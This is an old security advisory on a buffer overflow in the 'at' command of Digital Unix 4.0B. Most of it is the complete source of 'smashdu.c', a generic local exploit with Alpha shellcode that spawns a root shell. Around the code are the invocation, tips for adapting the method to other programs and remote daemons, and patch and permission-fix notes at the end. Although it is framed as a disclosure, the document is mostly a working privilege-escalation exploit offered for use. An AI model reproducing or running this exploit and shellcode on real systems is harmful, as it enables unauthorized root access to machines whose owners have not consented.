COMMAND
at
SYSTEMS AFFECTED
Digital Unix 4.0 ABCDE
PROBLEM
Lamont Granquist found following. Previously Digital Unix has
been relatively immune to buffer overflow attacks due to the lack
of an executable stack in the 3.x versions. For the 4.0 versions
the stack was made executable -- likely for JIT compilers and
maybe programs that need GCC-like trampolines. This, of course,
greatly simplifies the coding of exploits. Lamont has actually
written shellcode and successfully exploited several programs on
Digital Unix 4.0. He managed to successfully exploit /usr/bin/at
in Digital Unix 4.0B (no patches) which is probably the same bug
as CA-97.18.at (www.cert.org/advisories/CA-97.18.at.html).
The exploit for at will follow, but before that let's take a look
at following:
% /usr/bin/at `perl -e 'print "a" x 300'`
Segmentation fault (core dumped)
% gdb /usr/bin/at core
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "alpha-dec-osf3.2"...(no debugging symbols found)...
Core was generated by `at'.
Program terminated with signal 11, Segmentation fault.
[...]
#0 0x6161616161616160 in ?? ()
%
Here is the long awaited exploit script. It should be possible
to adapt most of the popular buffer overflows in other O/Ses to
Digital Unix. In particular, the remote buffer overflows for
named, statd and ttdbserverd should be adaptable to Digital Unix
in principle. Locally exploitable buffer overflows such as the at
and xlock bugs should also be adaptable to Digital Unix. An
example (/usr/bin/at) is given below. It is pretty simple.
Compile smashdu.c below and execute it with the command line
arguments of:
% ./smashdu 1022 2 56 /usr/bin/at %e
using 1022 2 56
putting overflow code into argv[1]
#
On unpatched DU4.0B this should give you root (as shown). In
DU4.0D /usr/bin/at can be made to coredump, but it does not appear
to be easily exploitable (perhaps with return-into-libc attacks).
/* smashdu.c
generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???)
Lamont Granquist
lamontg@hitl.washington.edu
lamontg@u.washington.edu
Tue Dec 1 11:22:03 PST 1998
gcc -o smashdu smashdu.c */
#define MAXENV 30
#define MAXARG 30
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <stdio.h>
/* shellcode = 80 bytes. as the entry to this shellcode is at offset+72 bytes
it cannot be simply padded with nops prior to the shellcode. */
int rawcode[] = {
0x2230fec4, /* subq $16,0x13c,$17 */
0x47ff0412, /* clr $18 */
0x42509532, /* subq $18, 0x84 */
0x239fffff, /* xor $18, 0xffffffff, $18 */
0x4b84169c,
0x465c0812,
0xb2510134, /* stl $18, 0x134($17) */
0x265cff98, /* lda $18, 0xff978cd0 */
0x22528cd1,
0x465c0812, /* xor $18, 0xffffffff, $18 */
0xb2510140, /* stl $18, 0x140($17) */
0xb6110148, /* stq $16,0x148($17) */
0xb7f10150, /* stq $31,0x150($17) */
0x22310148, /* addq $17,0x148,$17 */
0x225f013a, /* ldil $18,0x13a */
0x425ff520, /* subq $18,0xff,$0 */
0x47ff0412, /* clr $18 */
0xffffffff, /* call_pal 0x83 */
0xd21fffed, /* bsr $16,$l1 ENTRY */
0x6e69622f, /* .ascii "/bin" */
/* .ascii "/sh\0" is generated */
};
int nop = 0x47ff041f;
int shellcodesize = 0;
int padding = 0;
int overflowsize = 0;
long retaddr = 0x11fffff24;
void usage(void) {
fprintf(stderr, "smashdu [-e <env>] [-r <ra>] ");
fprintf(stderr, "shellsize pad bufsize <cmdargs>\n");
fprintf(stderr, " -e: add a variable to the environment\n");
fprintf(stderr, " -r: change ra from default 0x11fffff24\n");
fprintf(stderr, " shellsize: size of shellcode on the heap\n");
fprintf(stderr, " pad: padding to alighn the shellcode correctly\n");
fprintf(stderr, " bufsize: size of the buffer overflow on the stack\n");
fprintf(stderr, " cmdargs: %%e will be replaced by buffer overflow\n");
fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 ");
fprintf(stderr, "/foo/bar %%e\n");
exit(-1);
}
/* this handles generation of shellcode of the appropriate size and with
appropriate padding bytes for alignment. the padding argument should
typically only be 0,1,2,3 and the routine is "nice" in that if you feed
it the size of your malloc()'d buffer it should prevent overrunning it
by automatically adjusting the shellcode size downwards. */
int genshellcode(char *shellcode, int size, int padding) {
int i, s, n;
char *rp;
char *sp;
char *np;
rp = (char *)rawcode;
sp = (char *)shellcode;
np = (char *)&nop;
s = size;
if (size < (80 + padding)) {
fprintf(stderr, "cannot generate shellcode that small: %d bytes, ");
fprintf(stderr, "with %d padding\n", size, padding);
exit(-1);
}
/* first we pad */
for(i=0;i<padding;i++) {
*sp = 0x6e;
sp++;
s--;
}
/* then we copy over the first 72 bytes of the shellcode */
for(i=0;i<72;i++) {
*sp = rp[i];
sp++;
s--;
}
if (s % 4 != 0) {
n = s % 4;
s -= n;
printf("shellcode truncated to %d bytes\n", size - n);
}
/* then we add the nops */
for(i=0; s > 8; s--, i++) {
*sp = np[i % 4];
sp++;
}
n = i / 4; /* n == number of nops */
/* then we add the tail 2 instructions */
for(i=0; i < 8; i++) {
*sp = rp[i+72];
if(i==0) /* here we handle modifying the branch instruction */
*sp -= n;
*sp++;
}
}
int main(argc, argv)
int argc;
char *argv[];
{
char *badargs[MAXARG];
char *badenv[MAXENV];
long i, *ip, p;
char *cp, *ocp;
int c, env_idx, overflow_idx;
env_idx = 0;
while ((c = getopt(argc, argv, "e:r:")) != EOF) {
switch (c) {
case 'e': /* add an env variable */
badenv[env_idx++] = optarg;
if (env_idx >= MAXENV - 2) {
fprintf(stderr, "too many envs, ");
fprintf(stderr, "try increasing MAXENV and recompiling\n");
exit(-1);
}
break;
case 'r': /* change default ra */
sscanf(optarg, "%x", &retaddr);
break;
default:
usage();
/* NOTREACHED */
}
}
if (argc - optind < 4) {
usage();
}
shellcodesize = atoi(argv[optind++]);
padding = atoi(argv[optind++]);
overflowsize = atoi(argv[optind++]);
printf("using %d %d %d\n", shellcodesize, padding, overflowsize);
/* copy the args over from argv[] into badargs[] */
for(i=0;i<29;i++) {
if (strncmp(argv[optind], "%e", 3) == 0) { /* %e gets the shellcode */
badargs[i] = malloc(overflowsize);
overflow_idx = i;
optind++;
} else {
badargs[i] = argv[optind++];
}
if (optind >= argc) {
i++;
break;
}
}
badargs[i] = NULL;
if (optind < argc) {
fprintf(stderr, "too many args, try increasing MAXARG and recompiling\n");
exit(-1);
}
printf("putting overflow code into argv[%d]\n", overflow_idx);
cp = badargs[overflow_idx];
for(i=0;i<overflowsize-8;i++) {
*cp = 0x61;
cp++;
}
ocp = (char *) &retaddr;
for(i=0;i<8;i++) {
cp[i] = ocp[i];
}
/* here is where we actually shovel the shellcode into the environment */
badenv[env_idx] = malloc(1024);
genshellcode(badenv[env_idx++],shellcodesize,padding);
badenv[env_idx] = NULL;
/* and now we call our program with the hostile args */
execve(badargs[0], badargs, badenv);
}
To those who will try to play with exploits now, here's few notes.
- do the extra work to check with gdb to see if the program will
jump to the magic '0x6161616161616160' address -- if you can't
get this far then you aren't able to tweak the return address.
There's a lot of programs in digital unix that dump core and
stubbornly refuse to give a 0x6161616161616160 and without a
source license it's hard to figure out if they might be
exploitable with a bit more sophisticated attack. It may,
however, help to trim down the size of the argument that you're
overflowing with a bit.
- Please figure out what the size of the buffer is that you're
smashing by reducing your smashing argument to the smallest
size which gives an error. This goes along with the last
sentence above -- Get it as small as possible, then add about 24
(to hopefully make sure that you're hitting the RA -- try 40,
60, 100 if 24 doesn't work) and then look for the
0x6161616161616160. The binary search algorithm is your friend
for this step.
- Check to make sure that you can get values other than 0x61 ('a')
into the return address.
/usr/sbin/trpt -p `perl -e 'print "a" x 600' will give the magic
'0x6161616161616160' but the overflow bytes are restricted to
hex [A-Fa-F0-9] and you can't write shellcode that is that
restricted (and those restrictions on ra locations probably
makes it damn near impossible to exploit this one even if you
had that kind of shellcode).
SOLUTION
This was patched in DU4.0D and hopefully is fixed in the patch
kits for DU4.0B. See:
http://ftp.service.digital.com/patches/public/unix/v4.0/ssrt0583u.README
The initial patch installation instructions for SSRT0583U for
'at' and 'inc' had incorrect instructions which would leave
exploitable suid root binaries lying around if they were followed
to the letter, e.g:
# cp /patches/at at.new
# chown root:bin at.new
# chmod 4755 at.new
# ln at at.orig
# mv at.new at
These were later changed to read:
# cp /patches/at at.new
# chown root:bin at.new
# chmod 4755 at.new
# ln at at.orig
# mv at.new at
# chmod 400 at.orig
To be sure you're okay:
# chmod 400 /usr/bin/at.orig /usr/bin/mh/inc.orig /usr/shlib/libmh.so.orig